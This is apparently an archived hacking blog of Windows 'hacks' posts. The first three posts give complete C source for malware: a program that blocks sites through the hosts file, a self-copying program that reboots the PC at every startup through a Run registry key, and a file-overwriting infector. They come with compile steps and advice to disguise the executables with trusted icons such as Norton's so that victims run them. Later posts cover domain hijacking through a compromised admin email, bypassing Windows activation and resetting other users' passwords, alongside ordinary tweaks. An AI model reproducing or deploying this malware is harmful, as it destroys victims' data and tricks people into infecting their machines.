Showing posts with label Hacks. Show all posts
Showing posts with label Hacks. Show all posts

Thursday, 25 October 2012

A Virus Program to Block Websites














Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.



This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?
Here is the sourcecode of the virus.

#include<stdio.h>
#include<dos.h>
#include<dir.h> char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}



How to Compile ?

For step-by-step compilation guide, refer my post How to compile C Programs.

Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run.

%windir%\system32\drivers\etc
4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1 google.com
5. Delete all such entries which contain the names of blocked sites.

NOTE: You can also change the ICON of the virus to make it look like a legitimate program.This method is described in the post: How to Change the ICON of an EXE file ?

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A Virus Program to Restart the Computer at Every Startup















Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.

For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus since I have coded this virus in C. So if you are familiar with C language then it’s too easy to understand the logic behind the coding.

Here is the source code.

#include<stdio.h>
#include<dos.h>
#include<dir.h> int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;
case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;
case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;
case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(“shutdown -r -t 0″); //if the system is already infected then just give a command to restart
}

NOTE: COMMENTS ARE GIVEN IN BROWN COLOUR.
Compiling The Scource Code Into Executable Virus.
1. Download the Source Code Here

2. The downloaded file will be Sysres.C

3. For step-by-step compilation guide, refer my post How to compile C Programs.
Testing And Removing The Virus From Your PC
You can compile and test this virus on your own PC without any fear. To test, just doubleclick the sysres.exe file and restart the system manually. Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by the following steps.
1. Reboot your computer in the SAFE MODE

2. Goto

X:\Windows\System
(X can be C,D,E or F)

3.You will find a file by name sysres.exe, delete it.

4.Type regedit in run.You will goto registry editor.Here navigate to
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run

There, on the right site you will see an entry by name “sres“.Delete this entry.That’s it.You have removed this Virus successfully.
Logic Behind The Working Of The Virus
If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete. So I’ll explain the logic in a simplified manner. Here I’ll not explain the technical details of the program. If you have further doubts please pass comments.
LOGIC:
1. First the virus will find the Root partition (Partition on which Windows is installed).

2. Next it will determine whether the Virus file is already copied(Already infected) into X:\Windows\System

3. If not it will just place a copy of itself into X:\Windows\System and makes a registry entry to put this virus file onto the startup.

4. Or else if the virus is already found in the X:\Windows\System directory(folder), then it just gives a command to restart the computer.

This process is repeated every time the PC is restarted.

NOTE: The system will not be restarted as soon as you double click the Sysres.exe file.The restarting process will occur from the next boot of the system.
AND ONE MORE THING BEFORE YOU LEAVE (This Step is optional)
After you compile, the Sysres.exe file that you get will have a default icon. So if you send this file to your friends they may not click on it since it has a default ICON. So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.

For example you can change the .exe file’s icon into Norton antivirus ICON itself so that the people seeing this file beleives that it is Norton antivirus. Or you can change it’s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.

The detailed tutorial on changing the ICON is given in my post How To Change The ICON Of An EXE File .

Visitors who read this post, also read:
  1. How to Protect Your Computer from Keyloggers
  2. How Antivirus Software Works

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How to Create a Computer Virus?














This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h> FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

COMPILING METHOD:

USING BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
USING BORLAND C++ 5.5 (32-BIT) :
1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect

HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4. All the infected files will be ready to reinfect

That’s it
WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE

Visitors who read this post, also read:
  1. How to Protect Your Computer from Keyloggers
  2. How Antivirus Software Works
  3. 10 Tips to Avoid Getting Adware

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Domain Hijacking – How to Hijack a Domain








In this post I will tell you about how the domain names are hacked and how they can be protected. The act of hacking domain names is commonly known as Domain Hijacking. For most of you, the term “domain hijacking” may seem to be like an alien. So let me first tell you what domain hijacking is all about.



Domain hijacking is a process by which Internet Domain Names are stolen from it’s legitimate owners. Domain hijacking is also known as domain theft. Before we can proceed to know how to hijack domain names, it is necessary to understand how the domain names operate and how they get associated with a particular web server (website).

The operation of domain name is as follows

Any website say for example gohacking.com consists of two parts. The domain name (gohacking.com) and the web hosting server where the files of the website are actually hosted. In reality, the domain name and the web hosting server (web server) are two different parts and hence they must be integrated before a website can operate successfully. The integration of domain name with the web hosting server is done as follows.

1. After registering a new domain name, we get a control panel where in we can have a full control of the domain.

2. From this domain control panel, we point our domain name to the web server where the website’s files are actually hosted.

For a clear understanding let me take up a small example.

John registers a new domain “abc.com” from an X domain registration company. He also purchases a hosting plan from Y hosting company. He uploads all of his files (.html, .php, javascripts etc.) to his web server (at Y). From the domain control panel (of X) he configures his domain name “abc.com” to point to his web server (of Y). Now whenever an Internet user types “abc.com”, the domain name “abc.com” is resolved to the target web server and the web page is displayed. This is how a website actually works.

What happens when a domain is hijacked

Now let’s see what happens when a domain name is hijacked. To hijack a domain name you just need to get access to the domain control panel and point the domain name to some other web server other than the original one. So to hijack a domain you need not gain access to the target web server.

For example, a hacker gets access to the domain control panel of “abc.com”. From here the hacker re-configures the domain name to point it to some other web server (Z). Now whenever an Internet user tries to access “abc.com” he is taken to the hacker’s website (Z) and not to John’s original site (Y).

In this case the John’s domain name (abc.com) is said to be hijacked.

How the domain names are hijacked

To hijack a domain name, it’s necessary to gain access to the domain control panel of the target domain. For this you need the following ingredients

1. The domain registrar name for the target domain.

2. The administrative email address associated with the target domain.

These information can be obtained by accessing the WHOIS data of the target domain. To get access the WHOIS data, goto whois.domaintools.com, enter the target domain name and click on Lookup. Once the whois data is loaded, scroll down and you’ll see Whois Record. Under this you’ll get the “Administrative contact email address”.

To get the domain registrar name, look for something like this under the Whois Record. “Registration Service Provided By: XYZ Company”. Here XYZ Company is the domain registrar. In case if you don’t find this, then scroll up and you’ll see ICANN Registrar under the “Registry Data”. In this case, the ICANN registrar is the actual domain registrar.

The administrative email address associated with the domain is the backdoor to hijack the domain name. It is the key to unlock the domain control panel. So to take full control of the domain, the hacker will hack the administrative email associated with it. Email hacking has been discussed in my previous post how to hack an email account.

Once the hacker take full control of this email account, he will visit the domain registrar’s website and click on forgot password in the login page. There he will be asked to enter either the domain name or the administrative email address to initiate the password reset process. Once this is done all the details to reset the password will be sent to the administrative email address. Since the hacker has the access to this email account he can easily reset the password of domain control panel. After resetting the password, he logs into the control panel with the new password and from there he can hijack the domain within minutes.

How to protect the domain name from being hijacked

The best way to protect the domain name is to protect the administrative email account associated with the domain. If you loose this email account, you loose your domain. So refer my previous post on how to protect your email account from being hacked. Another best way to protect your domain is to go for private domain registration. When you register a domain name using the private registration option, all your personal details such as your name, address, phone and administrative email address are hidden from the public. So when a hacker performs a WHOIS lookup for you domain name, he will not be able to find your name, phone and administrative email address. So the private registration provides an extra security and protects your privacy. Private domain registration costs a bit extra amount but is really worth for it’s advantages. Every domain registrar provides an option to go for private registration, so when you purchase a new domain make sure that you select the private registration option.

Visitors who read this post, also read:
  1. What are Private and Public IP Addresses
  2. Hack Facebook Password – Facebook Hacking
  3. How Firewalls Work

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How to Enable or Disable Hibernation in Windows 7?








Enabling or Disabling the “Hibernate” option in Windows 7 or Vista is not as simple as it used to be in Windows XP. For Windows 7 a different approach has to be followed to accomplish the same job. In this post you will find how to enable or disable the Hibernate option in Windows 7.

Hibernation is a power saving option which was designed primarily for laptops. Unlike “sleep mode” which puts the open documents and files into the memory, hibernation puts all the open files and documents on to the hard disk and shuts down the computer without drawing even a small amount of power. Thus hibernation becomes an excellent way to save power and resume Windows back to the state where it was left off. If you really want to use this feature on Windows 7 then you need to enable this option. This can be done as follows.



1. Open the Command Prompt with “Administrator rights”. To do so, type cmd in Start menu and then hit Ctrl+Shift+Enter.

2. Now type the following command in the command prompt and hit Enter.
powercfg /hibernate on
3. Type exit and hit Enter to close the Command Prompt. Now you should see the “Hibernate” option in the Start menu. If not then perform the following steps.

A. Type Power Options in the Start menu and hit Enter.

B. In the left pane, open the link labeled “Change when the computer sleeps” and then open the link “Change advanced power settings”.

Now a small window will pop-up as shown below:














C. Now expand the Sleep tree and turn off Allow Hybrid Sleep as shown in the above screenshot.

D. Now you should see the Hibernate option in the Start menu.

Visitors who read this post, also read:
  1. How to Use Windows 7 Without Activation
  2. How to Customize Start Menu Button in Windows 7
  3. How to Create Your Own Customized Run Commands
  4. Take Ownership of Files and Folders in Windows 7 – An Easy Way
  5. How to Hack an Ethernet ADSL Router

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How to Use Windows 7 Without Activation?















Most of you might be aware of the fact that it is possible to use Windows 7 and Vista for 120 days without activation. This is actually possible using the slmgr -rearm command which will extend the grace period from 30 days to 120 days. However in this post I will show you a small trick using which it is possible to use Windows 7 without activation for approximately an year! Here is a way to do that.

1. Goto “Start Menu -> All Programs -> Accessories” . Right click on “Command Prompt” and select “Run as Administrator“. If you are not the administrator then you are prompted to enter the password, or else you can proceed to step-2.



2. Now type the following command and hit enter

slmgr -rearm
3. You will be prompted to restart the computer. Once restarted the trial period will be once again reset to 30 days. You can use the above command for up to 3 times by which you can extend the trial period to 120 days without activation.

4. Now comes the actual trick by which you can extend the trial period for another 240 days. Open Registry Editor (type regedit in “Run” and hit Enter) and navigate to the following location

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform

5. In right-side pane, change value of SkipRearm to 1.

6. Now you will be able to use the slmgr -rearm command for another 8 times so that you can skip activation process for another 240 days. So you will get 120 + 240 = 360 days of free Windows 7 usage.

120 days using “slmgr -rearm” command before registry edit +
240 days using “slmgr -rearm” command after registry edit
= 360 Days

Visitors who read this post, also read:
  1. How Windows Product Activation (WPA) Works?
  2. How to Enable or Disable Hibernation in Windows 7
  3. How to Create Your Own Customized Run Commands
  4. How to Customize Start Menu Button in Windows 7
  5. Take Ownership of Files and Folders in Windows 7 – An Easy Way

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How to Create Your Own Customized Run Commands







The Run command on Microsoft Windows operating system allows you to directly open an application or document with just a single command instead of navigating to it’s location and double-clicking the executable icon. However, it only works for some of the inbuilt Windows programs such as Command prompt (cmd), Calculator (calc) etc. So, have you ever wondered how to create your own customized Run commands for accessing your favorite programs, files and folders? Well, read on to find out the answer.

Creating the Customized Run Command



Let me take up an example of how to create a customized run command for opening the Internet explorer. Once you create this command, you should be able to open the Internet explorer just by typing “ie” (without quotes) in the Run dialog box. Here is how you can do that.

1. Right click on your Desktop and select New -> Shortcut.

2. You will see a “Create Shortcut” Dialog box as shown below













3. Click on “Browse”, navigate to: Program Files -> Internet Explorer from your Root drive (usually C:\) and select “iexplore” as shown in the above figure and click on “OK”.

4. Now click on “Next” and type any name for your shortcut. You can choose any name as per your choice; this will be your customized “Run command”. In this case I name my shortcut as “ie”. Click on “Finish”.

5. You will see a shortcut named “ie” on your desktop. All you need to do is just copy this shortcut and paste it in your Windows folder (usually “C:/Windows”). Once you have copied the shortcut onto your Windows folder, you can delete the one on your Desktop.

6. That’s it! From now on, just open the Run dialog box, type ie and hit Enter to open the Internet Explorer.

In this way you can create customized Run commands for any program of your choice. Say “ff” for Firefox, “ym” for Yahoo messenger, “wmp” for Windows media player and so on.

To do this, when you click on “Browse” in the Step-3, just select the target program’s main executable (.exe) file which will usually be located in the C:\Program Files folder. Give a simple and short name for this shortcut as per your choice and copy the shortcut file onto the Windows folder as usual. Now just type this short name in the Run dialog box to open the program.

I hope you like this post! Pass your comments.

Visitors who read this post, also read:
  1. How to Customize Start Menu Button in Windows 7
  2. How to Enable or Disable Hibernation in Windows 7
  3. How to Use Windows 7 Without Activation


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Take Ownership of Files and Folders in Windows 7 – An Easy Way




If you are a Windows 7 user, then you are most likely be aware of the fact that you need to TAKE OWNERSHIP of files and folders before you can make any changes to them. This feature was introduced in order to prevent any unauthorized changes from being made to the system files. However it can be little annoying to follow a long list of procedure every time you want to take ownership of a certain file or folder. So to make this job simpler, I have found a nice tool called Take Ownership Shell Extension which adds the “Take Ownership” option to the Windows context menu. This makes taking ownership too simple and requires no more than a click.












Just run the portable tool kit and click on the “Install” button. This will add the “Take Ownership” option onto the context menu. To take ownership all you need to do is, just right-click on any of the desired file or folder and click the option “Take Ownership“.








In case if you wish to uninstall this tool at any time, you can just run the tool again and click on the ”Uninstall” button. I hope you like this tool. This works on both Windows 7 and Windows Vista. You can download it from the following link.

Download Take Ownership Shell Extention

Visitors who read this post, also read:
  1. How to Customize Start Menu Button in Windows 7
  2. How to Enable or Disable Hibernation in Windows 7
  3. How to Save Bookmarks in IE, Firefox, Chrome and Opera
  4. How to Alter Windows Product ID

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How to Change the Logon Screen Background in Windows 7














How would you like to change the logon screen background in Windows 7 so as to give your Windows a customized look and feel? With a small tweak it is possible to customize the Windows 7 logon screen and set your own picture/wallpaper as the background. Changing logon screen background in Windows 7 is as simple as changing your desktop wallpaper. Well here is a step by step instruction to customize the logon screen background.

1. The image you need to set as the background should be a .jpg file and it’s size should not exceed 245KB.

2. The image resolution can be anything of your choice. However I prefer 1440 x 900 or 1024 x 768. You can use any of the photo editing software such as Photoshop to compress and set the resolution for your image. Once you’re done, save this image as backgroundDefault.jpg.

3. You will need to copy this image to
C:\Windows\system32\oobe\info\backgrounds
You will need to create that path if it does not already exist on your computer.

4. Now open the Registry Editor (Start -> Run -> Type regedit) and navigate to the following key
HKLM\Software\Microsoft\Windows\CurrentVersion\Authentication\
LogonUI\Background
If Background does not exist rightclick LogonUI, select New and then Key, and then name it Background. Now locate OEMBackground (listed on the right side). If it does not exist, right-click Background and select New and then DWORD and name it OEMBackground.

5. Double-click on OEMBackground and set the Value Data to 1.

6. Now log-off to see the new logon screen background. If you would like to revert back to the default background, just set the Value Data back to 0.

I hope you like this trick. Just try out and give your feedback!

Visitors who read this post, also read:
  1. How to Alter Windows Product ID
  2. How to Use Windows 7 Without Activation
  3. How to Customize Start Menu Button in Windows 7
  4. Take Ownership of Files and Folders in Windows 7 – An Easy Way

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How to Alter Windows Product ID?










If you are running a Microsoft Windows operating system on your computer, then you are most likely aware of the fact that your PC will have a Product ID. This Product ID is a system specific alphanumeric code which is derived/calculated based on the Windows product key you use and the hardware configuration of your Computer. In simple words, Product ID is the alphanumeric code that you see when you Right-Click on the My Computer icon and select the Properties option.

Ever wondered how to alter the Windows Product ID?

It is possible to alter the Windows Product ID and change it to what ever you like. For example, you can change the Product ID and put your nickname in place of the formal Product ID displayed by the Operating System. This hack is too easy and can be done within minutes. The screenshot showing the altered Product ID is given below

Win 7 PC showing Original PID






Windows 7 PC showing Altered PID






As you can see from the above screenshot it is simple and easy to make your Windows display what ever you want in the place of the real Product ID. Here is a step-by-step procedure to alter your Windows Product ID.

1. Goto Start->Run and type the following in the Run dialog box
regedit
2. After you open the Registry Editor, navigate to the following key
HKey_Local_Machine\Software\Microsoft\Windows NT\Current Version
3. On the right hand side, you can see an entry by name ProductID listed under the heading Name.

4. Double-Click on ProductID, a dialog box will pop-up showing your Windows PID. Now you can delete the original PID and enter anything of your choice.

5. Once you are done, just click on OK and close the Registry Editor. Now you can see the altered Product ID in the Windows Properties window.

NOTE: This trick works on Win 7, Vista and Win XP
I hope you like this trick. Pass your comments. Cheers!

Visitors who read this post, also read:
  1. How Windows Product Activation (WPA) Works?
  2. How to Change the Logon Screen Background in Windows 7
  3. How to Use Windows 7 Without Activation
  4. How to Enable or Disable Hibernation in Windows 7
  5. How to Customize Start Menu Button in Windows 7


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How to Hack Windows Administrator Password?













This hack will show you how to reset Windows administrator password (for Win 2000, XP, Vista and Win 7) at times when you forget it or when you want to gain access to a computer for which you do not know the password.



Most of us have experienced a situation where in we need to gain access to a computer which is password protected or at times we may forget the administrator password without which it becomes impossible to login to the computer. So here is an excellent hack using which you can reset the password or make the password empty (remove the password) so that you can gain administrator access to the computer. You can do this with a small tool called Offline NT Password & Registry Editor. This utility works offline, that means you need to shut down your computer and boot off your using a floppy disk, CD or USB device (such as pen drive). The tool has the following features.
  • You do not need to know the old password to set a new one
  • Will detect and offer to unlock locked or disabled out user accounts!
  • There is also a registry editor and other registry utilities that works under linux/unix, and can be used for other things than password editing.

How it works?

Most Windows operating systems stores the login passwords and other encrypted passwords in a file called sam (Security Accounts Manager). This file can be usually found in \windows\system32\config. This file is a part of Windows registry and remains inaccessible as long as the OS is active. Hence it is necessary that you need to boot off your computer and access this sam file via boot. This tool intelligently gains access to this file and will reset/remove the password associated with administrator or any other account.

The download link for both CD and floppy drives along with the complete instructions is given below
Offline NT Password & Reg Editor Download

It is recommended that you download the CD version of the tool since floppy drive is outdated and doesn’t exist in today’s computer. Once you download you’ll get a bootable image which you need to burn it onto your CD. Now boot your computer from this CD and follow the screen instructions to reset the password.

Another simple way to reset non-administrator account passwords

Here is another simple way through which you can reset the password of any non-administrator accounts. The only requirement for this is that you need to have administrator privileges. Here is a step-by-step instruction to accomplish this task.

1. Open the command prompt (Start->Run->type cmd->Enter)

2. Now type net user and hit Enter

3. Now the system will show you a list of user accounts on the computer. Say for example you need to reset the password of the account by name John, then do as follows

4. Type net user John * and hit Enter. Now the system will ask you to enter the new password for the account. That’s it. Now you’ve successfully reset the password for John without knowing his old password.

So in this way you can reset the password of any Windows account at times when you forget it so that you need not re-install your OS for any reason. I hope this helps.

Visitors who read this post, also read:
  1. How to Use Windows 7 Without Activation
  2. Hack Facebook Password – Facebook Hacking
  3. How to Alter Windows Product ID
  4. Take Ownership of Files and Folders in Windows 7 – An Easy Way
  5. How to Hack an Ethernet ADSL Router

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Get Rid of the Recycle Bin on your Desktop












Here is a way to remove the recycle bin from your desktop. This trick help’s people who want to get rid of the recycle bin on the desktop.


1. Goto start, Run, Type “gpedit.msc” (Type without quotes)

2. On the left panel, under User Configuration expand the tree Administrative templates

3. Click on the subtree desktop (single click, do not expand it)

4. On the right panel, Select the option-Remove Recycle Bin icon from desktop properties

5. Double click the option, on the settings tab just select the option enabled, press OK & exit the window.

6. Refesh the desktop (press F5), Your Recycle Bin vanishous. If not you need to logout and then re-login.

NOTE: This trick works on Win XP, Vista and Win 7

Visitors who read this post, also read:
  1. How to Alter Windows Product ID
  2. How to Customize Start Menu Button in Windows 7
  3. How to Enable or Disable Hibernation in Windows 7
  4. How to Change the Logon Screen Background in Windows 7



Posted by R2blog. R2blog auto post for blogspot. Download at http://R2blogger.blogspot.com


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How to Alter Windows Product ID?









If you are running a Microsoft Windows operating system on your computer, then you are most likely aware of the fact that your PC will have a Product ID. This Product ID is a system specific alphanumeric code which is derived/calculated based on the Windows product key you use and the hardware configuration of your Computer. In simple words, Product ID is the alphanumeric code that you see when you Right-Click on the My Computer icon and select the Properties option.

Ever wondered how to alter the Windows Product ID?

It is possible to alter the Windows Product ID and change it to what ever you like. For example, you can change the Product ID and put your nickname in place of the formal Product ID displayed by the Operating System. This hack is too easy and can be done within minutes. The screenshot showing the altered Product ID is given below
Win 7 PC showing Original PID





Windows 7 PC showing Altered PID






As you can see from the above screenshot it is simple and easy to make your Windows display what ever you want in the place of the real Product ID. Here is a step-by-step procedure to alter your Windows Product ID.

1. Goto Start->Run and type the following in the Run dialog box
regedit
2. After you open the Registry Editor, navigate to the following key
HKey_Local_Machine\Software\Microsoft\Windows NT\Current Version
3. On the right hand side, you can see an entry by name ProductID listed under the heading Name.

4. Double-Click on ProductID, a dialog box will pop-up showing your Windows PID. Now you can delete the original PID and enter anything of your choice.

5. Once you are done, just click on OK and close the Registry Editor. Now you can see the altered Product ID in the Windows Properties window.

NOTE: This trick works on Win 7, Vista and Win XP
I hope you like this trick. Pass your comments. Cheers!

Visitors who read this post, also read:
  1. How Windows Product Activation (WPA) Works?
  2. How to Change the Logon Screen Background in Windows 7
  3. How to Use Windows 7 Without Activation
  4. How to Enable or Disable Hibernation in Windows 7
  5. How to Customize Start Menu Button in Windows 7





Posted by R2blog. R2blog auto post for blogspot. Download at http://R2blogger.blogspot.com


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How to Hack Windows Administrator Password?












This hack will show you how to reset Windows administrator password (for Win 2000, XP, Vista and Win 7) at times when you forget it or when you want to gain access to a computer for which you do not know the password.



Most of us have experienced a situation where in we need to gain access to a computer which is password protected or at times we may forget the administrator password without which it becomes impossible to login to the computer. So here is an excellent hack using which you can reset the password or make the password empty (remove the password) so that you can gain administrator access to the computer. You can do this with a small tool called Offline NT Password & Registry Editor. This utility works offline, that means you need to shut down your computer and boot off your using a floppy disk, CD or USB device (such as pen drive). The tool has the following features.
  • You do not need to know the old password to set a new one
  • Will detect and offer to unlock locked or disabled out user accounts!
  • There is also a registry editor and other registry utilities that works under linux/unix, and can be used for other things than password editing.

How it works?

Most Windows operating systems stores the login passwords and other encrypted passwords in a file called sam (Security Accounts Manager). This file can be usually found in \windows\system32\config. This file is a part of Windows registry and remains inaccessible as long as the OS is active. Hence it is necessary that you need to boot off your computer and access this sam file via boot. This tool intelligently gains access to this file and will reset/remove the password associated with administrator or any other account.

The download link for both CD and floppy drives along with the complete instructions is given below
Offline NT Password & Reg Editor Download

It is recommended that you download the CD version of the tool since floppy drive is outdated and doesn’t exist in today’s computer. Once you download you’ll get a bootable image which you need to burn it onto your CD. Now boot your computer from this CD and follow the screen instructions to reset the password.

Another simple way to reset non-administrator account passwords

Here is another simple way through which you can reset the password of any non-administrator accounts. The only requirement for this is that you need to have administrator privileges. Here is a step-by-step instruction to accomplish this task.

1. Open the command prompt (Start->Run->type cmd->Enter)

2. Now type net user and hit Enter

3. Now the system will show you a list of user accounts on the computer. Say for example you need to reset the password of the account by name John, then do as follows

4. Type net user John * and hit Enter. Now the system will ask you to enter the new password for the account. That’s it. Now you’ve successfully reset the password for John without knowing his old password.

So in this way you can reset the password of any Windows account at times when you forget it so that you need not re-install your OS for any reason. I hope this helps.

Visitors who read this post, also read:
  1. How to Use Windows 7 Without Activation
  2. Hack Facebook Password – Facebook Hacking
  3. How to Alter Windows Product ID
  4. Take Ownership of Files and Folders in Windows 7 – An Easy Way
  5. How to Hack an Ethernet ADSL Router

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How to Make Invisible Password Protected Folder?












Do you want to password protect your folder? Do you want to make it invisible so that it remains unnoticed by the normal users? Well here is a way to do that. In this post I will show you how to make a password protected folder in Windows without using any additional software. Here is is step by step procedure to create a password protected folder.

How to create a Password Protected Folder?

Step-1: Create a new folder (Right-click -> New -> Folder) and give it any name of your choice. For instance I name it as ABC.

Step-2: Now in this folder place all the important files, documents or any folders that you want to password protect.

Step-3: Now Right-click on this folder (ABC) and select the option Send To -> Compressed (zipped) Folder.

Step-4: Now a new compressed zipped folder gets created next this folder (ABC) with the same name.

Step-5: Double-click on this compressed zipped folder and you should see your original folder (ABC) here.

Step-6: Now goto the File menu and select the option Add a password.
ie: File -> Add a password

Now a small window will pop up and here you can set your desired password. Once the password is set, the folder will ask for the password every time it is opened. Thus you have now created the password protected folder.

How to make it Invisible?

Step-1: Now Right-click on this password protected folder and select Properties.

Step-2: At the bottom select the option Hidden and press OK. Now your folder gets invisible (hidden).

Step-3: In order to unhide this folder go to My Computer – >Tools -> Folder options. Switch to View tab, scroll down and under Hidden files and folders you’ll see the following two options
  • Do not show hidden files and folders
  • Show hidden files and folders
Now select the second option and press OK. Now the invisible folder becomes visible in it’s location. To access it you need the password. To make it invisible again repeat step -1 through step-3 and select the first option and click OK. Now the folder becomes invisible once again.

I hope you like this post. Pass your comments!! Cheers

